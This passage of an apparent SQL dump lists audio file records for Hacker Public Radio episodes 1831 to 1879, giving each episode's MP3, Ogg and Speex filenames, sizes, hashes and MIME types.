(1831,'hpr1831.ogg','ogg',5091588,'9f05993479b358e4ce2ccb720f0f7d681c747148','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1831,'hpr1831.spx','spx',1954905,'6f0351f25047a6a1f98718297bd726e9f712a3eb','application/ogg; charset=binary','Ogg data, Speex audio'),
(1832,'hpr1832.mp3','mp3',11368224,'de16ff20b270fcf2e7e8724091e5eef5a612949a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1832,'hpr1832.ogg','ogg',12943058,'2047a2ac213bfd303f5a80397881a6dfd160d45d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1832,'hpr1832.spx','spx',5076934,'f80919c6a75ffba5acfe3cdbf7054c6c49a3a259','application/ogg; charset=binary','Ogg data, Speex audio'),
(1833,'hpr1833.mp3','mp3',11054745,'b94c7f49aeef17fe027970eee19e0da62f401d22','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1833,'hpr1833.ogg','ogg',10910364,'5820d16ac4468f95a119d746780f4da334f9e792','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1833,'hpr1833.spx','spx',4936846,'2b970bc76bfaebc7d86b678e76c41b084b6a75c1','application/ogg; charset=binary','Ogg data, Speex audio'),
(1834,'hpr1834.mp3','mp3',4270825,'af8a509dbbff9c41735f0d6f8c362a56c78719b0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1834,'hpr1834.ogg','ogg',5003919,'c3e49be1caacca91533e061363e35ade60690861','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1834,'hpr1834.spx','spx',1907176,'75c28759ae5be4b5a41087b5b030dfcf6aa6a9f9','application/ogg; charset=binary','Ogg data, Speex audio'),
(1835,'hpr1835.mp3','mp3',12253667,'ae0823d83f7a0f91044e91bfe48abb7e1493b154','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1835,'hpr1835.ogg','ogg',14871893,'8bb32e9416b7fe17ff819ba5e7a60b8df5b99342','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1835,'hpr1835.spx','spx',5472355,'4301ecedacde93cc97295df9a680f1ebf03ccfe3','application/ogg; charset=binary','Ogg data, Speex audio'),
(1836,'hpr1836.mp3','mp3',21964548,'d82d3b6e005498c1c5880840e7aeccd81d33fba3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1836,'hpr1836.ogg','ogg',24342947,'fe48cfc38130a95349fbcfd1d0793dc559caf0ff','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1836,'hpr1836.spx','spx',9809287,'a75d7f1775e2091b482108ef67b16354877709f3','application/ogg; charset=binary','Ogg data, Speex audio'),
(1837,'hpr1837.mp3','mp3',9121931,'57d98657ddd311c7705a7e19b25e1c93dd927b50','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1837,'hpr1837.ogg','ogg',10071774,'61e66815fe5b248976b7b72ec1ba61b01adb5ffc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1837,'hpr1837.spx','spx',4073696,'9656b13658485405b02e62aa5968780cf80b1dc5','application/ogg; charset=binary','Ogg data, Speex audio'),
(1838,'hpr1838.mp3','mp3',8473629,'efee6711b667be94d3b6c9dcb5d46fab164852b4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1838,'hpr1838.ogg','ogg',9529012,'e01c4c6c31842da560623f47ed67911706835470','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1838,'hpr1838.spx','spx',3784094,'208b9d1ae7b2f537dd1e182944d20fba5039a2c8','application/ogg; charset=binary','Ogg data, Speex audio'),
(1839,'hpr1839.mp3','mp3',10825916,'ccb0774896246e7321d0a3d6b16d4d50fa1f7de3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1839,'hpr1839.ogg','ogg',14190918,'445ef3c2fbf457dbb3d9ef7c9c726a639f0f3a4a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1839,'hpr1839.spx','spx',4834672,'ebc55f27f90955a8940defe673f76b207f1e83b9','application/ogg; charset=binary','Ogg data, Speex audio'),
(1840,'hpr1840.mp3','mp3',2990855,'39706d4f2e97386a88c17b205c51b8596b728b4e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1840,'hpr1840.ogg','ogg',3026162,'82459adbd0b2156f41c12c70d1b381df625dfe30','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1840,'hpr1840.spx','spx',1335535,'c25491f7370b703f5b6d860e860375261bd6d340','application/ogg; charset=binary','Ogg data, Speex audio'),
(1841,'hpr1841.mp3','mp3',5679748,'b01cb0d742853dcc450b825b7fec0788be1a4a10','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1841,'hpr1841.ogg','ogg',5447414,'13e7fa28a782810ab748767c4e6bb3712105172f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1841,'hpr1841.spx','spx',2536337,'40c4954d8857215f0191d81960119d7bacbb5e41','application/ogg; charset=binary','Ogg data, Speex audio'),
(1842,'hpr1842.mp3','mp3',61456062,'027c55478801291b55f9543b595c075a66f78a10','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1842,'hpr1842.ogg','ogg',64294895,'07942672cd7c77e547a12e570b70fff149bee8c8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1842,'hpr1842.spx','spx',27446604,'a7403a2bc9c7af386383ce9293f0c83a749d42f8','application/ogg; charset=binary','Ogg data, Speex audio'),
(1843,'hpr1843.mp3','mp3',11288372,'305efca091d505eace3db9539c73e8745a2d115b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1843,'hpr1843.ogg','ogg',12633809,'8e15fdfdb96f45717a029d7814263db7f0208711','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1843,'hpr1843.spx','spx',5041240,'c46009d53566b92a376d81d0b8ee0b90d62ac018','application/ogg; charset=binary','Ogg data, Speex audio'),
(1844,'hpr1844.mp3','mp3',7383877,'b9f799737540c9e5109eb7eb73bf4ed1fceb9d7f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1844,'hpr1844.ogg','ogg',8225911,'b1e8eef5ece875731e4d006cb8ea0159c38e1317','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1844,'hpr1844.spx','spx',3297484,'56e30c5d769333cf986c5258c5dd6f2f5ea31cb8','application/ogg; charset=binary','Ogg data, Speex audio'),
(1845,'hpr1845.mp3','mp3',8034376,'de66c9143fd113929a4d22eed225465e376781d2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1845,'hpr1845.ogg','ogg',9687064,'1aa540a7f976ef89fb9bea88d01dba021405358a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1845,'hpr1845.spx','spx',3587952,'a946de1be96b9d9179fcf440edf6096d61d45cb6','application/ogg; charset=binary','Ogg data, Speex audio'),
(1846,'hpr1846.mp3','mp3',10209653,'01dbfe81f8ff0a9f8c93662d99211ba4cffae082','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1846,'hpr1846.ogg','ogg',9935072,'93ed2557ec5b1fe432b34d1fe30b77c6ee695d79','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1846,'hpr1846.spx','spx',4559513,'411a1bf493a4267d4e1358910d88b8ad54a359e2','application/ogg; charset=binary','Ogg data, Speex audio'),
(1847,'hpr1847.mp3','mp3',6206052,'2062c3e331ea8ef4acb5f1b847f9bb4a5405bf0e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1847,'hpr1847.ogg','ogg',6599817,'5cb0164338dcf64c60bb5243ee48b557f8a1cec3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1847,'hpr1847.spx','spx',2771462,'a53e885b8dc38a4465f3890d9d1ff1c403bdaf94','application/ogg; charset=binary','Ogg data, Speex audio'),
(1848,'hpr1848.mp3','mp3',8302330,'16d0fe93b6bdf2c2b757147c74b72f0b0d0b177e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1848,'hpr1848.ogg','ogg',9073018,'2d1d00dcd5fde71b8f72315c1f5b3772c4afb2a9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1848,'hpr1848.spx','spx',3707631,'27d54927240a84e0f03a14389fb385839c56ed4d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1849,'hpr1849.mp3','mp3',5454753,'0e422bb3c8c528752dad6e0f5031ea4e557a3fc1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1849,'hpr1849.ogg','ogg',5832710,'0a569df2c4086e38bc0428292c1bdc6e262b8bce','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1849,'hpr1849.spx','spx',2435869,'a6f6e43a7ee9b459d709aa1503bbe52654263726','application/ogg; charset=binary','Ogg data, Speex audio'),
(1850,'hpr1850.mp3','mp3',9279079,'16d0f8f78c7c8d0ed89f98e7a9d12fb4c558c10b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1850,'hpr1850.ogg','ogg',11020335,'0363c30768f6a9c6e91281f457c4ee4949de5a86','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1850,'hpr1850.spx','spx',4143846,'9fb62055a564afda65b2b9a57c8562d822c6fba4','application/ogg; charset=binary','Ogg data, Speex audio'),
(1851,'hpr1851.mp3','mp3',56038847,'97c4f6da327ac03bfa4afe317370fc891f378c6c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1851,'hpr1851.ogg','ogg',58653273,'c2bf03fe4bd60a59c82f6ae647aca74cc2e23bca','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1851,'hpr1851.spx','spx',25027311,'4e4bd6b0d35ccef3f6a9b2572fa1d78dfc38869d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1852,'hpr1852.mp3','mp3',15211971,'2e9e1861117d461925a07b4d6267f4f2f5164e73','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1852,'hpr1852.ogg','ogg',17020759,'d3c27bdffae0aeab2ee9132c37cda0c1011c377e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1852,'hpr1852.spx','spx',6793541,'a9bd89582a2f53899d203b355ac516a63e8e877f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1853,'hpr1853.mp3','mp3',4235062,'389956fc00d0dbf93b2ff20e9e92109fe4c5e267','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1853,'hpr1853.ogg','ogg',4630162,'4e5ff0147e14e7783b52a68724c27e4b0fd741f1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1853,'hpr1853.spx','spx',1891137,'e69f9448a55d551597d7abfeb796e71f0962dc17','application/ogg; charset=binary','Ogg data, Speex audio'),
(1854,'hpr1854.mp3','mp3',7693547,'483d784608e24fdd7aa69a962e6f9fc65ea61f0e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1854,'hpr1854.ogg','ogg',8749992,'9ee85a9bd4e111c6feafcd2f20d89863857494e7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1854,'hpr1854.spx','spx',3435767,'a7b944359f5bc8ce609bfeb3949ce275cc499eab','application/ogg; charset=binary','Ogg data, Speex audio'),
(1855,'hpr1855.mp3','mp3',9627873,'29b54f285aa645a391d6996ea1aca51ab0cb4017','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1855,'hpr1855.ogg','ogg',11438447,'705a771a9c356cee1a8a251fdc56ad6bbce856dd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1855,'hpr1855.spx','spx',4299632,'d2576dd4ddbd01cbbbc1c588199a610f77fde15f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1856,'hpr1856.mp3','mp3',6224555,'9ee1e1c6e18563130bafec43c23034778dcb98cf','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1856,'hpr1856.ogg','ogg',5684572,'381315f8ac6e0e9d4062b71ed1b49781840fef8c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1856,'hpr1856.spx','spx',2779726,'880ac9be5f150a82b61e16cffd4a39f57105df72','application/ogg; charset=binary','Ogg data, Speex audio'),
(1857,'hpr1857.mp3','mp3',9330507,'8189ee334a305ec8a0da1676191d68a32c779cb5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1857,'hpr1857.ogg','ogg',10839685,'eb1b03340859f82bfa07c34a796342e3357809d0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1857,'hpr1857.spx','spx',4166889,'5f10d1329800d1046d0729fb4c8d8bd3fb8c178e','application/ogg; charset=binary','Ogg data, Speex audio'),
(1858,'hpr1858.mp3','mp3',11291090,'e3e30b5bc3c2f07a431b0af4df921ce34e88f158','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1858,'hpr1858.ogg','ogg',10639953,'3f9e55dd303cbc2ef1f63aba09622f4da87c4704','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1858,'hpr1858.spx','spx',5042448,'c701bda9881cd7907690da4fa92ae98eb179dd6d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1859,'hpr1859.mp3','mp3',20210394,'611b28c650e81f21238828e4f85f175da9758427','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1859,'hpr1859.ogg','ogg',21766597,'2f550a2d48d86cdfdad0039981dbd420b4a57887','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1859,'hpr1859.spx','spx',9025913,'03eeeff3d9dc672b1d012e796654be576a05514b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1860,'hpr1860.mp3','mp3',69277956,'6029c251de1fd8c828111e63d06afc3d88f1f5b2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1860,'hpr1860.ogg','ogg',82848990,'af14237630daef0acee6d81d6e25767e6da21d58','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1860,'hpr1860.spx','spx',30939961,'f94bfd24de8502e5e4a26c014994e8f2c933b3df','application/ogg; charset=binary','Ogg data, Speex audio'),
(1861,'hpr1861.mp3','mp3',8532577,'88db8f3fedc14c269586c80c928f5984d5fe120e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1861,'hpr1861.ogg','ogg',10156403,'923cdcc4d182563446beb49dcc25317c452aecec','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1861,'hpr1861.spx','spx',3810471,'8f1f59610afb3aef91614f834b55bcd3d5e79ca5','application/ogg; charset=binary','Ogg data, Speex audio'),
(1862,'hpr1862.mp3','mp3',11511139,'47ca5aa7daf307b42f5c7d53dd79d80630be233e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1862,'hpr1862.ogg','ogg',12870262,'45787e42cb05590d9035b6a31180167ac8d5f935','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1862,'hpr1862.spx','spx',5140713,'96d44f9d712addd7f697b00d5e39d79c967d82e4','application/ogg; charset=binary','Ogg data, Speex audio'),
(1863,'hpr1863.mp3','mp3',7328212,'50787fed2418a6fc1f1c550430e26745971d2c41','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1863,'hpr1863.ogg','ogg',8301752,'1a4f8a802c042184d09c11a2ea73004d297c4124','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1863,'hpr1863.spx','spx',3272538,'b67027186b42acb85a3b710b37514bb5a8903732','application/ogg; charset=binary','Ogg data, Speex audio'),
(1864,'hpr1864.mp3','mp3',11154247,'eb1ba2e1900e991771065134a4ea104694a8bbc8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1864,'hpr1864.ogg','ogg',12470554,'9024ca683add08189516fec5526775d25b615278','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1864,'hpr1864.spx','spx',4981404,'16bf005d31dec974f9de993896ba4f20e3dac0ec','application/ogg; charset=binary','Ogg data, Speex audio'),
(1865,'hpr1865.mp3','mp3',8813670,'f50a1b53a787cea0b92ec63ece8f1d7d84a2b83b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1865,'hpr1865.ogg','ogg',10609874,'23f226fc488770b5e59741f9b0aae61956438bec','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1865,'hpr1865.spx','spx',3935972,'511d82fd8b28095a0bf00304068b797ffe116d32','application/ogg; charset=binary','Ogg data, Speex audio'),
(1866,'hpr1866.mp3','mp3',3694101,'434e0cc6c73a0e43fad0b0078ac4ee9f0f8a66bd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1866,'hpr1866.ogg','ogg',4011331,'36b8d11829209866621e83e36a306e4075d45361','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1866,'hpr1866.spx','spx',1649635,'9361574b29f269c1727546addeee0def7940fc19','application/ogg; charset=binary','Ogg data, Speex audio'),
(1867,'hpr1867.mp3','mp3',22144506,'a587ca399baad5aa679c86a4944b6bc39254d94d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1867,'hpr1867.ogg','ogg',24284741,'4224c9236c75b0485716f2dc28b6da7b9e97bf58','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1867,'hpr1867.spx','spx',9889702,'cbc7e7944eb0d60d510dab4959ebdde1be92c38c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1868,'hpr1868.mp3','mp3',24335212,'b6a21658288c00d5295281b75ea887b02b108d92','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1868,'hpr1868.ogg','ogg',24940860,'def059411c78562d3cc19b225a3aa9978d85379b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1868,'hpr1868.spx','spx',10868142,'4bbe76f1f9a0f167d4abf5a2de9a31811eafe38e','application/ogg; charset=binary','Ogg data, Speex audio'),
(1869,'hpr1869.mp3','mp3',7051543,'6bbe16f8fbe5ca7128b00bfe7150ea954985a04d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1869,'hpr1869.ogg','ogg',6676145,'e90569d4ff79952a5a320dfe0987b610b7142725','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1869,'hpr1869.spx','spx',3148989,'6ae00daf75d66ae84b780ee2571307b1ba0618fb','application/ogg; charset=binary','Ogg data, Speex audio'),
(1870,'hpr1870.mp3','mp3',10017599,'ce25119f85a1c2f03114561dceb9038abdafd935','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1870,'hpr1870.ogg','ogg',11656567,'8a75956abd845626f29e5fe46ae46f00726523fd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1870,'hpr1870.spx','spx',4473701,'f6a298e7d5b7f2247a37c95364b939c11b5035cf','application/ogg; charset=binary','Ogg data, Speex audio'),
(1871,'hpr1871.mp3','mp3',45258850,'3fc9d07a401ef18d5431f73a78a2d4c26e9eb4c6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1871,'hpr1871.ogg','ogg',43898441,'a89e28791b068a9ea432baecf68ac719e9055b5f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1871,'hpr1871.spx','spx',20212787,'d058727af9e7b047fc1fa40c78b23f83ebbf1f6e','application/ogg; charset=binary','Ogg data, Speex audio'),
(1872,'hpr1872.mp3','mp3',12417294,'3edd38575e9df8294285f02baea6ac66dcca4735','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1872,'hpr1872.ogg','ogg',11858102,'b5f79a94d17f82916af42bed682389edececbf98','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1872,'hpr1872.spx','spx',5545470,'648ad4004ccebcbd95098e1d78b6f6f59cba77a3','application/ogg; charset=binary','Ogg data, Speex audio'),
(1873,'hpr1873.mp3','mp3',34549687,'2411838222daa2194a15084ec3b52921d015abb2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1873,'hpr1873.ogg','ogg',39083719,'ee10006f4d49ee332b84e422023d99288d46b175','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1873,'hpr1873.spx','spx',15429966,'7970169b5a208c80ee336596a431173aca34fd2c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1874,'hpr1874.mp3','mp3',26986135,'490990f72b2add6ddf22c4a5755e4038e6cbc343','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1874,'hpr1874.ogg','ogg',24826440,'fb90726bb19ef0378959d55a43020875ac413498','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1874,'hpr1874.spx','spx',12052074,'089f04c6c8c378c79cf11e793bf7efa1cdfb112b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1875,'hpr1875.mp3','mp3',9474224,'fa4fa2ebd3ba4b4daf48349f6e115e1743601924','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1875,'hpr1875.ogg','ogg',11287977,'d6c44cbe72dbd68d20b94e4d58377840ae049b11','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1875,'hpr1875.spx','spx',4230991,'28159a404adde10894aa02f705ec6b0dd90a37b8','application/ogg; charset=binary','Ogg data, Speex audio'),
(1876,'hpr1876.mp3','mp3',5585377,'ff1df835c12dbec0f2a376a1eebea196b2f4b97e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1876,'hpr1876.ogg','ogg',6468484,'a872ed8ee5e3d2d172ec614d73c6757c7b33b955','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1876,'hpr1876.spx','spx',2494195,'66c104738ee1b4c292a4634d4139fe5812a8e741','application/ogg; charset=binary','Ogg data, Speex audio'),
(1877,'hpr1877.mp3','mp3',4113747,'d423ac9626a3b342c71d08e17b688ef39895a66e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1877,'hpr1877.ogg','ogg',4540259,'947fdbb7833412d229ec4da301a39cd172d82c9d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1877,'hpr1877.spx','spx',1837000,'5015c97441356df44d190114bbbf302891d28da6','application/ogg; charset=binary','Ogg data, Speex audio'),
(1878,'hpr1878.mp3','mp3',5452612,'b4146cc71fd8b95a557c50a914aa891192c221b8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1878,'hpr1878.ogg','ogg',6082953,'698efd67c68b6ae167aaebc611cee511c9ff3833','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1878,'hpr1878.spx','spx',2434894,'4df45b7e1bbe289b7d740d29d27d8076ba491e84','application/ogg; charset=binary','Ogg data, Speex audio'),
(1879,'hpr1879.mp3','mp3',7507941,'9bccd21dc4094c45d4a527b8f5efd13d6d5e6d1e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
